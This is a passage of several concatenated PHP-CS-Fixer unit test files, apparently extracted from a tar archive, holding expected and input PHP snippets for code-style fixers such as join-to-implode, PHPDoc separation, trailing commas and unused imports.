            array('<?php foo_join($a);'),
            array('<?php new join($a);'),
            array('<?php new Foo\join($a);'),
            array('<?php Foo::join($a);'),
            array('<?php new join\bar($a);'),
            array('<?php join::bar($a);'),
            array('<?php join\bar($a);'),
            array('<?php \join($a);'),
            array('<?php "INSERT ... join($a) ...";'),
            array('<?php "INSERT ... JOIN($a) ...";'),
            array("<?php 'please'.'join' . 'me';"),
            array('<?php "please" . "join"."me";'),

            // cases to fix
            array(
                '<?php implode($a, $b);',
                '<?php join($a, $b);',
            ),
            array(
                '<?php $a = &implode($a, $b);',
                '<?php $a = &join($a, $b);',
            ),
            array(
                '<?php implode
                            ($a);',
                '<?php join
                            ($a);',
            ),
            array(
                '<?php /* foo */ implode /** bar */ ($a);',
                '<?php /* foo */ join /** bar */ ($a);',
            ),
            array(
                '<?php a(implode());',
                '<?php a(join());',
            ),
            array(
                '<?php
class Joining
{
    public function join(QueryBuilder $qb, $join)
    {
        //definition
    }
}',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocNoAccessFixerTest.php000066600000002116151456236460022070 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoAccessFixerTest extends AbstractFixerTestBase
{
    public function testFixAccess()
    {
        $expected = <<<'EOF'
<?php
    /**
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @access public
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMany()
    {
        $expected = <<<'EOF'
<?php
/**
 * Hello!
 * @notaccess bar
 */

EOF;

        $input = <<<'EOF'
<?php
/**
 * Hello!
 * @access private
 * @notaccess bar
 * @access foo
 */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNothing()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var access
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ObjectOperatorFixerTest.php000066600000003646151456236460022167 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Farhad Safarov <farhad.safarov@gmail.com>
 */
class ObjectOperatorFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php $object->method();',
                '<?php $object   ->method();',
            ),
            array(
                '<?php $object->method();',
                '<?php $object   ->   method();',
            ),
            array(
                '<?php $object->method();',
                '<?php $object->   method();',
            ),
            array(
                '<?php $object->method();',
                '<?php $object	->method();',
            ),
            array(
                '<?php $object->method();',
                '<?php $object->	method();',
            ),
            array(
                '<?php $object->method();',
                '<?php $object	->	method();',
            ),
            array(
                '<?php $object->method();',
            ),
            array(
                '<?php echo "use it as -> you want";',
            ),
            // Ensure that doesn't break chained multi-line statements
            array(
                '<?php $object->method()
                        ->method2()
                        ->method3();',
            ),
            array(
                '<?php $this
             ->add()
             // Some comment
             ->delete();',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/NamespaceNoLeadingWhitespaceFixerTest.php000066600000005142151456236460024730 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Bram Gotink <bram@gotink.me>
 */
class NamespaceNoLeadingWhitespaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        $manySpaces = array();
        for ($i = 1; $i <= 100; ++$i) {
            $manySpaces[] = 'namespace Test'.$i.';';
        }

        return array(
            // with newline
            array("<?php\nnamespace Test;"),
            array("<?php\n\nnamespace Test;"),
            array("<?php\nnamespace Test;", "<?php\n namespace Test;"),
            // without newline
            array('<?php namespace Test;'),
            array('<?php namespace Test;', '<?php  namespace Test;'),
            // multiple namespaces with newline
            array(
                '<?php
namespace Test1;
namespace Test2;',
            ),
            array(
                '<?php
namespace Test1;
namespace Test2;',
                '<?php
 namespace Test1;
    namespace Test2;',
            ),
            array(
                '<?php
namespace Test1;
class Test {}
namespace Test2;',
                '<?php
 namespace Test1;
class Test {}
   namespace Test2;',
            ),
            array(
                '<?php
namespace Test1;
use Exception;
namespace Test2;',
                '<?php
 namespace Test1;
use Exception;
   namespace Test2;',
            ),
            // multiple namespaces without newline
            array('<?php namespace Test1; namespace Test2;'),
            array('<?php namespace Test1; namespace Test2;', '<?php    namespace Test1;  namespace Test2;'),
            array('<?php namespace Test1; namespace Test2;', '<?php namespace Test1;  namespace Test2;'),
            // namespaces without spaces in between
            array(
                '<?php
namespace Test1{}
namespace Test2{}',
                '<?php
     namespace Test1{}namespace Test2{}',
            ),
            array(
                '<?php
namespace Test1;
namespace Test2;',
                '<?php
namespace Test1;namespace Test2;',
            ),
            array(
                '<?php
'.implode("\n", $manySpaces),
                '<?php
'.implode('', $manySpaces),
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocNoEmptyReturnFixerTest.php000066600000003255151456236460023172 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoEmptyReturnFixerTest extends AbstractFixerTestBase
{
    public function testFixVoid()
    {
        $expected = <<<'EOF'
<?php
    /**
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @return void
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixNull()
    {
        $expected = <<<'EOF'
<?php
    /**
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @return null
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixFull()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello!
     *
     * @param string $foo
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello!
     *
     * @param string $foo
     * @return void
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNothing()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var null
     */

EOF;

        $this->makeTest($expected);
    }

    public function testDoNothingAgain()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return null|int
     */

EOF;

        $this->makeTest($expected);
    }

    public function testOtherDoNothing()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return int|null
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ListCommasFixerTest.php000066600000002154151456236460021311 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ListCommasFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '<?php
    list($a, $b) = foo();
    list($a, , $c, $d) = foo();
    list($a, , $c) = foo();
    list($a) = foo();
    list($a , $b) = foo();
    list($a, /* $b */, $c) = foo();
',
                '<?php
    list($a, $b) = foo();
    list($a, , $c, $d, ) = foo();
    list($a, , $c, , ) = foo();
    list($a, , , , , ) = foo();
    list($a , $b , ) = foo();
    list($a, /* $b */, $c, ) = foo();
',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocSeparationFixerTest.php000066600000026730151456236460022507 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocSeparationFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     *
     * @return void
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @param EngineInterface $templating
     * @return void
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMoreTags()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * @internal
     *
     * @param string $foo
     *
     * @throws Exception
     *
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there!
     * @internal
     * @param string $foo
     * @throws Exception
     *
     *
     *
     * @return bool
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixSpreadOut()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     *
     * @param string $foo
     * @param bool   $bar Bar
     *
     * @throws Exception|RuntimeException
     *
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     * @param string $foo
     *
     *
     * @param bool   $bar Bar
     *
     *
     *
     * @throws Exception|RuntimeException
     *
     *
     *
     *
     * @return bool
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testMultiLineComments()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     *
     * @param string $foo test 123
     *                    asdasdasd
     * @param bool  $bar qwerty
     *
     * @throws Exception|RuntimeException
     *
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there!
     *
     * Long description
     * goes here.
     * @param string $foo test 123
     *                    asdasdasd
     * @param bool  $bar qwerty
     * @throws Exception|RuntimeException
     * @return bool
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testCrazyMultiLineComments()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Clients accept an array of constructor parameters.
     *
     * Here's an example of creating a client using an URI template for the
     * client's base_url and an array of default request options to apply
     * to each request:
     *
     *     $client = new Client([
     *         'base_url' => [
     *              'http://www.foo.com/{version}/',
     *              ['version' => '123']
     *          ],
     *         'defaults' => [
     *             'timeout'         => 10,
     *             'allow_redirects' => false,
     *             'proxy'           => '192.168.16.1:10'
     *         ]
     *     ]);
     *
     * @param array $config Client configuration settings
     *     - base_url: Base URL of the client that is merged into relative URLs.
     *       Can be a string or an array that contains a URI template followed
     *       by an associative array of expansion variables to inject into the
     *       URI template.
     *     - handler: callable RingPHP handler used to transfer requests
     *     - message_factory: Factory used to create request and response object
     *     - defaults: Default request options to apply to each request
     *     - emitter: Event emitter used for request events
     *     - fsm: (internal use only) The request finite state machine. A
     *       function that accepts a transaction and optional final state. The
     *       function is responsible for transitioning a request through its
     *       lifecycle events.
     * @param string $foo
     */

EOF;

        $this->makeTest($expected);
    }

    public function testDoctrineExample()
    {
        $expected = <<<'EOF'
<?php
/**
 * PersistentObject base class that implements getter/setter methods for all mapped fields and associations
 * by overriding __call.
 *
 * This class is a forward compatible implementation of the PersistentObject trait.
 *
 * Limitations:
 *
 * 1. All persistent objects have to be associated with a single ObjectManager, multiple
 *    ObjectManagers are not supported. You can set the ObjectManager with `PersistentObject#setObjectManager()`.
 * 2. Setters and getters only work if a ClassMetadata instance was injected into the PersistentObject.
 *    This is either done on `postLoad` of an object or by accessing the global object manager.
 * 3. There are no hooks for setters/getters. Just implement the method yourself instead of relying on __call().
 * 4. Slower than handcoded implementations: An average of 7 method calls per access to a field and 11 for an association.
 * 5. Only the inverse side associations get autoset on the owning side as well. Setting objects on the owning side
 *    will not set the inverse side associations.
 *
 * @example
 *
 *  PersistentObject::setObjectManager($em);
 *
 *  class Foo extends PersistentObject
 *  {
 *      private $id;
 *  }
 *
 *  $foo = new Foo();
 *  $foo->getId(); // method exists through __call
 *
 * @author Benjamin Eberlei <kontakt@beberlei.de>
 */

EOF;

        $this->makeTest($expected);
    }

    public function testSymfonyExample()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Constructor.
     *
     * Depending on how you want the storage driver to behave you probably
     * want to override this constructor entirely.
     *
     * List of options for $options array with their defaults.
     *
     * @see http://php.net/session.configuration for options
     *
     * but we omit 'session.' from the beginning of the keys for convenience.
     *
     * ("auto_start", is not supported as it tells PHP to start a session before
     * PHP starts to execute user-land code. Setting during runtime has no effect).
     *
     * cache_limiter, "nocache" (use "0" to prevent headers from being sent entirely).
     * cookie_domain, ""
     * cookie_httponly, ""
     * cookie_lifetime, "0"
     * cookie_path, "/"
     * cookie_secure, ""
     * entropy_file, ""
     * entropy_length, "0"
     * gc_divisor, "100"
     * gc_maxlifetime, "1440"
     * gc_probability, "1"
     * hash_bits_per_character, "4"
     * hash_function, "0"
     * name, "PHPSESSID"
     * referer_check, ""
     * serialize_handler, "php"
     * use_cookies, "1"
     * use_only_cookies, "1"
     * use_trans_sid, "0"
     * upload_progress.enabled, "1"
     * upload_progress.cleanup, "1"
     * upload_progress.prefix, "upload_progress_"
     * upload_progress.name, "PHP_SESSION_UPLOAD_PROGRESS"
     * upload_progress.freq, "1%"
     * upload_progress.min-freq, "1"
     * url_rewriter.tags, "a=href,area=href,frame=src,form=,fieldset="
     *
     * @param array                                                            $options Session configuration options.
     * @param AbstractProxy|NativeSessionHandler|\SessionHandlerInterface|null $handler
     * @param MetadataBag                                                      $metaBag MetadataBag.
     */

EOF;

        $this->makeTest($expected);
    }

    public function testDeprecatedAndSeeTags()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hi!
     *
     * @author Bar Baz <foo@example.com>
     *
     * @deprecated As of some version.
     * @see Replacement
     *      described here.
     *
     * @param string $foo test 123
     * @param bool  $bar qwerty
     *
     * @return void
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hi!
     *
     * @author Bar Baz <foo@example.com>
     * @deprecated As of some version.
     *
     * @see Replacement
     *      described here.
     * @param string $foo test 123
     * @param bool  $bar qwerty
     *
     * @return void
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testPropertyTags()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @author Bar Baz <foo@example.com>
     *
     * @property int $foo
     * @property-read int $foo
     * @property-write int $bar
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @author Bar Baz <foo@example.com>
     * @property int $foo
     *
     * @property-read int $foo
     *
     * @property-write int $bar
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testClassDocBlock()
    {
        $expected = <<<'EOF'
<?php

namespace Foo;

/**
 * This is a class that does classy things.
 *
 * @internal
 *
 * @package Foo
 * @subpackage Foo\Bar
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Graham Campbell <graham@mineuk.com>
 * @copyright Foo Bar
 * @license MIT
 */
class Bar {}

EOF;

        $input = <<<'EOF'
<?php

namespace Foo;

/**
 * This is a class that does classy things.
 * @internal
 * @package Foo
 *
 *
 * @subpackage Foo\Bar
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 *
 * @author Graham Campbell <graham@mineuk.com>
 *
 * @copyright Foo Bar
 *
 *
 * @license MIT
 */
class Bar {}

EOF;

        $this->makeTest($expected, $input);
    }

    public function testPoorAlignment()
    {
        $expected = <<<'EOF'
<?php

namespace Foo;

/**
*      This is a class that does classy things.
    *
*    @internal
*
 *          @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
    *@author Graham Campbell <graham@mineuk.com>
 */
class Bar {}

EOF;

        $input = <<<'EOF'
<?php

namespace Foo;

/**
*      This is a class that does classy things.
    *
*    @internal
   *
*
*
 *          @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
     *
                             *
    *@author Graham Campbell <graham@mineuk.com>
 */
class Bar {}

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNotMoveUnknownAnnotations()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @expectedException Exception
     * @expectedExceptionMessage Oh Noes!
     * Something when wrong!
     *
     *
     * @Hello\Test\Foo(asd)
     * @Method("GET")
     *
     * @param string $expected
     * @param string $input
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @expectedException Exception
     * @expectedExceptionMessage Oh Noes!
     * Something when wrong!
     *
     *
     * @Hello\Test\Foo(asd)
     * @Method("GET")
     *
     * @param string $expected
     *
     * @param string $input
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testInheritDoc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * {@inheritdoc}
     *
     * @param string $expected
     * @param string $input
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * {@inheritdoc}
     * @param string $expected
     * @param string $input
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $this->makeTest($expected);
    }

    public function testLargerEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     *
     *
     *
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/MultilineArrayTrailingCommaFixerTest.php000066600000021014151456236460024642 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Sebastiaan Stok <s.stok@rollerscapes.net>
 */
class MultilineArrayTrailingCommaFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            // long syntax tests
            array('<?php $x = array();'),
            array('<?php $x = array("foo");'),
            array('<?php $x = array("foo", );'),
            array("<?php \$x = array(\n'foo',\n);", "<?php \$x = array(\n'foo'\n);"),
            array("<?php \$x = array('foo',\n);"),
            array("<?php \$x = array('foo',\n);", "<?php \$x = array('foo'\n);"),
            array("<?php \$x = array('foo', /* boo */\n);", "<?php \$x = array('foo' /* boo */\n);"),
            array("<?php \$x = array('foo',\n/* boo */\n);", "<?php \$x = array('foo'\n/* boo */\n);"),
            array("<?php \$x = array(\narray('foo',\n),\n);", "<?php \$x = array(\narray('foo'\n)\n);"),
            array("<?php \$x = array(\narray('foo'),\n);", "<?php \$x = array(\narray('foo')\n);"),
            array("<?php \$x = array(\n /* He */ \n);"),
            array(
                "<?php \$x = array('a', 'b', 'c',\n  'd', 'q', 'z', );",
                "<?php \$x = array('a', 'b', 'c',\n  'd', 'q', 'z');",
            ),
            array(
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z', );",
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z');",
            ),
            array(
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z', );",
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z' );",
            ),
            array(
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z',\t);",
                "<?php \$x = array('a', 'b', 'c',\n'd', 'q', 'z'\t);",
            ),
            array("<?php \$x = array(\n<<<EOT\noet\nEOT\n);"),
            array("<?php \$x = array(\n<<<'EOT'\noet\nEOT\n);"),
            array(
                '<?php
    $foo = array(
        array(
        ),
    );',
            ),
            array(
                '<?php
    $a = array(
        1 => array(
            2 => 3,
        ),
    );',
                '<?php
    $a = array(
        1 => array(
            2 => 3
        )
    );',
            ),
            array(
                "<?php
    \$x = array(
        'foo',
        'bar',
        array(
            'foo',
            'bar',
            array(
                'foo',
                'bar',
                array(
                    'foo',
                    ('bar' ? true : !false),
                    ('bar' ? array(true) : !(false)),
                    array(
                        'foo',
                        'bar',
                        array(
                            'foo',
                            ('bar'),
                        ),
                    ),
                ),
            ),
        ),
    );",
                "<?php
    \$x = array(
        'foo',
        'bar',
        array(
            'foo',
            'bar',
            array(
                'foo',
                'bar',
                array(
                    'foo',
                    ('bar' ? true : !false),
                    ('bar' ? array(true) : !(false)),
                    array(
                        'foo',
                        'bar',
                        array(
                            'foo',
                            ('bar'),
                        )
                    )
                )
            )
        )
    );",
            ),
            array(
                '<?php

                $a = array("foo" => function ($b) {
                    return "bar".$b;
                });',
            ),
            array(
                '<?php
    return array(
        "a" => 1,
        "b" => 2,
    );',
                '<?php
    return array(
        "a" => 1,
        "b" => 2
    );',
            ),
            array(
                '<?php
    $test = array("foo", <<<TWIG
        foo
        bar
        baz
TWIG
        , $twig);',
            ),
            array(
                '<?php
    $test = array("foo", <<<\'TWIG\'
        foo
        bar
        baz
TWIG
        , $twig);',
            ),

            // short syntax tests
            array('<?php $x = array([]);'),
            array('<?php $x = [[]];'),
            array('<?php $x = ["foo",];'),
            array('<?php $x = bar(["foo",]);'),
            array("<?php \$x = bar(['foo',\n]);", "<?php \$x = bar(['foo'\n]);"),
            array("<?php \$x = ['foo', \n];"),
            array('<?php $x = array([],);'),
            array('<?php $x = [[],];'),
            array('<?php $x = [$y[],];'),
            array("<?php \$x = [\n /* He */ \n];"),
            array(
                '<?php
    $foo = [
        [
        ],
    ];',
            ),
            array(
                '<?php

                $a = ["foo" => function ($b) {
                    return "bar".$b;
                }];',
            ),
            array(
                '<?php
    return [
        "a" => 1,
        "b" => 2,
    ];',
                '<?php
    return [
        "a" => 1,
        "b" => 2
    ];',
            ),
            array(
                '<?php
    $test = ["foo", <<<TWIG
        foo
        bar
        baz
TWIG
        , $twig];',
            ),
            array(
                '<?php
    $test = ["foo", <<<\'TWIG\'
        foo
        bar
        baz
TWIG
        , $twig];',
            ),

            // no array tests
            array(
                "<?php
    throw new BadMethodCallException(
        sprintf(
            'Method \"%s\" not implemented',
            __METHOD__
        )
    );",
            ),
            array(
                "<?php
    throw new BadMethodCallException(sprintf(
        'Method \"%s\" not implemented',
        __METHOD__
    ));",
            ),
            array(
                "<?php

    namespace FOS\\RestBundle\\Controller;

    class ExceptionController extends ContainerAware
    {
        public function showAction(Request \$request, \$exception, DebugLoggerInterface \$logger = null, \$format = 'html')
        {
            if (!\$exception instanceof DebugFlattenException && !\$exception instanceof HttpFlattenException) {
                throw new \\InvalidArgumentException(sprintf(
                    'ExceptionController::showAction can only accept some exceptions (%s, %s), \"%s\" given',
                    'Symfony\\Component\\HttpKernel\\Exception\\FlattenException',
                    'Symfony\\Component\\Debug\\Exception\\FlattenException',
                    get_class(\$exception)
                ));
            }
        }
    }",
            ),
            array(
                '<?php
    function foo(array $a)
    {
        bar(
            baz(
                1
            )
        );
    }',
            ),
            array(
                '<?php
    $var = array(
        "string",
        //comment
    );',
                '<?php
    $var = array(
        "string"
        //comment
    );',
            ),
            array(
                '<?php
    $var = array(
        "string",
        /* foo */);',
                '<?php
    $var = array(
        "string"
        /* foo */);',
            ),
            array(
                '<?php
    $var = [
        "string",
        /* foo */];',
                '<?php
    $var = [
        "string"
        /* foo */];',
            ),
        );
    }

    /**
     * @dataProvider provideExamples55
     * @requires PHP 5.5
     */
    public function testFix55($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples55()
    {
        return array(
            array(
                '<?php
function a()
{
    yield array(
        "a" => 1,
        "b" => 2,
    );
}',
                '<?php
function a()
{
    yield array(
        "a" => 1,
        "b" => 2
    );
}',
            ),
            array(
                '<?php
function a()
{
    yield [
        "a" => 1,
        "b" => 2,
    ];
}',
                '<?php
function a()
{
    yield [
        "a" => 1,
        "b" => 2
    ];
}',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnusedUseFixerTest.php000066600000017665151456236460021173 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class UnusedUseFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php

use Foo\Bar;
use Foo\Bar\FooBar as FooBaz;
use SomeClass;

$a = new Bar();
$a = new FooBaz();
$a = new SomeClass();

use Symfony\Annotation\Template;
use Symfony\Doctrine\Entities\Entity;
use Symfony\Array123\ArrayInterface;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */
    }
}
EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar;
use Foo\Bar\Baz;
use Foo\Bar\FooBar as FooBaz;
use Foo\Bar\Foo as Fooo;
use Foo\Bar\Baar\Baar;
use SomeClass;

$a = new Bar();
$a = new FooBaz();
$a = new SomeClass();

use Symfony\Annotation\Template;
use Symfony\Doctrine\Entities\Entity;
use Symfony\Array123\ArrayInterface;

class AnnotatedClass
{
    /**
     * @Template(foobar=21)
     * @param Entity $foo
     */
    public function doSomething($foo)
    {
        $bar = $foo->toArray();
        /** @var ArrayInterface $bar */
    }
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixFunWithIndent()
    {
        $expected = <<<'EOF'
<?php

use Foo\Bar;
    $foo = 1;
use Foo\Bar\FooBar as FooBaz;
    use SomeClassIndented;

$a = new Bar();
$a = new FooBaz();
$a = new SomeClassIndented();

EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar;
use Foo\Bar\Baz;
    $foo = 1;
use Foo\Bar\FooBar as FooBaz;
use Foo\Bar\Foo as Fooo;
use Foo\Bar\Baar\Baar;
    use SomeClassIndented;

$a = new Bar();
$a = new FooBaz();
$a = new SomeClassIndented();

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixUseInTheSameNamespace()
    {
        $expected = <<<'EOF'
<?php

namespace Foo\Bar\FooBar;

use Foo\Bar\FooBar\Foo as Fooz;
use Foo\Bar\FooBar\Aaa\Bbb;

$a = new Baz();
$b = new Fooz();
$c = new Bar\Fooz();
$d = new Bbb();
EOF;

        $input = <<<'EOF'
<?php

namespace Foo\Bar\FooBar;

use Foo\Bar\FooBar\Baz;
use Foo\Bar\FooBar\Foo as Fooz;
use Foo\Bar\FooBar\Bar;
use Foo\Bar\FooBar\Aaa\Bbb;

$a = new Baz();
$b = new Fooz();
$c = new Bar\Fooz();
$d = new Bbb();
EOF;

        $this->makeTest($expected, $input);

        // the fixer doesn't support file with multiple namespace - test if we don't remove imports in that case
        $expected = <<<'EOF'
<?php

namespace Foooooooo;
namespace Foo;

use Foo\Bar;
use Foo\Baz;

$a = new Bar();
$b = new Baz();
EOF;

        $this->makeTest($expected);
    }

    public function testMultipleUseStatements()
    {
        $expected = <<<'EOF'
<?php

namespace Foo;

use BarB, BarC as C, BarD;
use BarE;

$c = new D();
$e = new BarE();
EOF;

        $input = <<<'EOF'
<?php

namespace Foo;

use Bar;
use BarA;
use BarB, BarC as C, BarD;
use BarB2;
use BarB\B2;
use BarE;

$c = new D();
$e = new BarE();
EOF;

        $this->makeTest($expected, $input);
    }

    public function testNamespaceWithBraces()
    {
        $expected = <<<'EOF'
<?php

namespace Foo\Bar\FooBar {
    use Foo\Bar\FooBar\Foo as Fooz;
    use Foo\Bar\FooBar\Aaa\Bbb;

    $a = new Baz();
    $b = new Fooz();
    $c = new Bar\Fooz();
    $d = new Bbb();
}
EOF;

        $input = <<<'EOF'
<?php

namespace Foo\Bar\FooBar {
    use Foo\Bar\FooBar\Baz;
    use Foo\Bar\FooBar\Foo as Fooz;
    use Foo\Bar\FooBar\Bar;
    use Foo\Bar\FooBar\Aaa\Bbb;

    $a = new Baz();
    $b = new Fooz();
    $c = new Bar\Fooz();
    $d = new Bbb();
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testTrailingSpaces()
    {
        $expected = <<<'EOF'
<?php

use Foo\Bar ;
use Foo\Bar\FooBar as FooBaz ;

$a = new Bar();
$a = new FooBaz();
EOF;

        $input = <<<'EOF'
<?php

use Foo\Bar ;
use Foo\Bar\FooBar as FooBaz ;
use Foo\Bar\Foo as Fooo ;
use SomeClass ;

$a = new Bar();
$a = new FooBaz();
EOF;

        $this->makeTest($expected, $input);
    }

    public function testTraits()
    {
        $expected = <<<'EOF'
<?php

use Foo as Bar;

class MyParent
{
    use MyTrait1;
use MyTrait2;
    use Bar;
}
EOF;

        $input = <<<'EOF'
<?php

use Foo;
use Foo as Bar;

class MyParent
{
    use MyTrait1;
use MyTrait2;
    use Bar;
}
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFunctionUse()
    {
        $expected = <<<'EOF'
<?php

use Foo;

$f = new Foo();
$a = function ($item) use ($f) {
    return !in_array($item, $f);
};
EOF;

        $input = <<<'EOF'
<?php

use Foo;
use Bar;

$f = new Foo();
$a = function ($item) use ($f) {
    return !in_array($item, $f);
};
EOF;

